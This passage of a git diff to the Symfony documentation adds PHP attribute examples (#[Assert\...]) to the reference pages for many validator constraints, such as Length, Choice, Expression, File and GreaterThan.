+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..d15337ba9b5 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -50,6 +50,23 @@ Configuration
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Author
+        {
+            #[Assert\Callback]
+            public function validate(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -178,6 +195,19 @@ You can then use the following configuration to invoke this validator:
         {
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Acme\Validator;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Callback([Validator::class, 'validate'])]
+        class Author
+        {
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 64d6157e2c8..d93224e1a5a 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -41,6 +41,22 @@ on an object that will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                message: 'Your credit card number is invalid.',
+            )]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index fd8481d6152..4afa6b516d9 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -58,6 +58,24 @@ If your valid choice list is simple, you can pass them in directly via the
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            const GENRES = ['fiction', 'non-fiction'];
+
+            #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
+            protected $city;
+
+            #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -160,6 +178,19 @@ constraint.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: 'getGenres')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -225,6 +256,20 @@ you can pass the class name and the method as an array.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use App\Entity\Genre
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 4ce4691c6c9..c40294a8684 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -47,6 +47,24 @@ you might add the following:
             protected $emails = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Count(
+                min: 1,
+                max: 5,
+                minMessage: 'You must specify at least one email',
+                maxMessage: 'You cannot specify more than {{ limit }} emails',
+            )]
+            protected $emails = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 744de6dd0fb..62bf38bf2ba 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -33,6 +33,19 @@ Basic Usage
             protected $country;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Country]
+            protected $country;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 651af1b1a92..e481c0ce01d 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -35,6 +35,19 @@ a valid currency, you could do the following:
             protected $currency;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Currency]
+            protected $currency;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 4b1e99c3ed1..7376195960a 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -34,6 +34,19 @@ Basic Usage
             protected $birthday;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Date]
+            protected $birthday;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 582f93aeac8..7e5501b5515 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -35,6 +35,22 @@ Basic Usage
             protected $createdAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @var string A "Y-m-d H:i:s" formatted value
+             */
+            #[Assert\DateTime]
+            protected $createdAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 4503959aa57..d08e22c241c 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -53,6 +53,24 @@ The following constraints ensure that:
             protected $quantity;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Item.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Item
+        {
+            #[Assert\DivisibleBy(0.25)]
+            protected $weight;
+
+            #[Assert\DivisibleBy(
+                value: 5,
+            )]
+            protected $quantity;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 468051004a0..fd2f2576a90 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -37,6 +37,21 @@ Basic Usage
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Email(
+                message: 'The email {{ value }} is not a valid email.',
+            )]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..75d80043cda 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -52,6 +52,24 @@ and that the ``age`` is ``20``, you could do the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\EqualTo("Mary")]
+            protected $firstName;
+
+            #[Assert\EqualTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 2ed816f3a03..264ae3b02fc 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -78,6 +78,22 @@ One way to accomplish this is with the Expression constraint:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/BlogPost.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Expression(
+            "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
+            message: 'If this is a tech post, the category should be either php or symfony!',
+        )]
+        class BlogPost
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -163,6 +179,26 @@ more about the expression language syntax, see
                 // ...
             }
 
+        .. code-block:: php-attributes
+
+            // src/Model/BlogPost.php
+            namespace App\Model;
+
+            use Symfony\Component\Validator\Constraints as Assert;
+
+            class BlogPost
+            {
+                // ...
+
+                #[Assert\Expression(
+                    "this.getCategory() in ['php', 'symfony'] or value == false",
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                )]
+                private $isTechnicalPost;
+
+                // ...
+            }
+
         .. code-block:: yaml
 
             # config/validator/validation.yaml
@@ -299,6 +335,24 @@ type (numeric, boolean, strings, null, etc.)
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/Analysis.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Analysis
+        {
+            #[Assert\Expression(
+                'value + error_margin < threshold',
+                values: ['error_margin' => 0.25, 'threshold' => 1.5],
+            )]
+            private $metric;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..218d68d4f69 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -52,6 +52,24 @@ The following constraints ensure that:
             protected $shippingOptions;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionLanguageSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionLanguageSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f1a27ac8f20..7bce9dce533 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -93,6 +93,23 @@ below a certain file size and a valid PDF, add the following:
             protected $bioFile;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\File(
+                maxSize: '1024k',
+                mimeTypes: ['application/pdf', 'application/x-pdf'],
+                mimeTypesMessage: 'Please upload a valid PDF',
+            )]
+            protected $bioFile;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..617fc71f2a0 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -49,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThan(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThan(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +144,19 @@ that a date must at least be the next day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +216,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -245,6 +289,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..c09d4e250e0 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -48,6 +48,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThanOrEqual(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +143,19 @@ that a date must at least be the current day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +215,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +288,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 9e67fb3c8fc..7b6cf07af21 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -42,6 +42,19 @@ will contain a host name.
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class ServerSettings
+        {
+            #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 709270f7b12..dcd60e3f408 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -40,6 +40,21 @@ will contain an International Bank Account Number.
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Iban(
+                message: 'This is not a valid International Bank Account Number (IBAN).',
+            )]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..7dc71b475f0 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -54,6 +54,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\IdenticalTo("Mary")]
+            protected $firstName;
+
+            #[Assert\IdenticalTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..5ffded599b5 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -100,6 +100,24 @@ that it is between a certain size, add the following:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                minWidth: 200,
+                maxWidth: 400,
+                minHeight: 200,
+                maxHeight: 400,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -180,6 +198,22 @@ following code:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                allowLandscape: false,
+                allowPortrait: false,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9d744d54c09..3686d6bfc41 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -36,6 +36,19 @@ Basic Usage
             protected $ipAddress;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Ip]
+            protected $ipAddress;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 17881aa9a75..07f25396c66 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -58,6 +58,24 @@ method returns **false**:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsFalse(
+                message: "You've entered an invalid state."
+            )]
+            public function isStateInvalid()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 252c23d934b..6fcd1e462ad 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -39,6 +39,19 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2698ad233e9..dea5d9c5468 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -60,6 +60,24 @@ Then you can validate this method with ``IsTrue`` as follows:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            protected $token;
+
+            #[Assert\IsTrue(message: 'The token is invalid.')]
+            public function isTokenValid()
+            {
+                return $this->token == $this->generateToken();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index e30d4e96040..fa042eb131e 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -43,6 +43,22 @@ on an object that will contain an ISBN.
             protected $isbn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Isbn(
+                type: Assert\Isbn::ISBN_10,
+                message: 'This value is not valid.',
+            )]
+            protected $isbn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index c646f33a53a..3efab915437 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -33,6 +33,19 @@ Basic Usage
             protected $isin;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnitAccount
+        {
+            #[Assert\Isin]
+            protected $isin;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6cc5734aaa2..8b8d0826610 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -35,6 +35,19 @@ Basic Usage
             protected $issn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Journal.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Journal
+        {
+            #[Assert\Issn]
+            protected $issn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..cd1abf69d6c 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -35,6 +35,21 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             private $chapters;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Json(
+                message: "You've entered an invalid Json."
+            )]
+            private $chapters;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index dac3e2819db..0d9522dc882 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -34,6 +34,19 @@ Basic Usage
             protected $preferredLanguage;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Language]
+            protected $preferredLanguage;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 365aedfb585..13800f7daea 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -48,6 +48,25 @@ and "50", you might add the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Length(
+                min: 2,
+                max: 50,
+                minMessage: 'Your first name must be at least {{ limit }} characters long',
+                maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+            )]
+            protected $firstName;
+        }
+
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..495d3f4356a 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -49,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan(5)]
+            protected $siblings;
+
+            #[Assert\LessThan(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +144,19 @@ that a date must be in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +216,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +288,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..47d06cfc601 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -48,6 +48,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\LessThanOrEqual(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +143,19 @@ that a date must be today or in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +215,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +287,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f5f381629e3..936cfd24089 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -43,6 +43,21 @@ Basic Usage
             protected $locale;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Locale(
+                canonicalize: true,
+            )]
+            protected $locale;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 2bee41d5f2c..24eb9b91947 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -37,6 +37,19 @@ will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Luhn(message: 'Please check your credit card number.')]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 7468b4bfc4a..0ee0bdcf3ea 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -37,6 +37,19 @@ The following constraint ensures that the ``withdraw`` of a  bank account
             protected $withdraw;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class TransferItem
+        {
+            #[Assert\Negative]
+            protected $withdraw;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index f010acda0b1..8559a57babf 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -36,6 +36,19 @@ is a negative number or equal to zero:
             protected $level;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
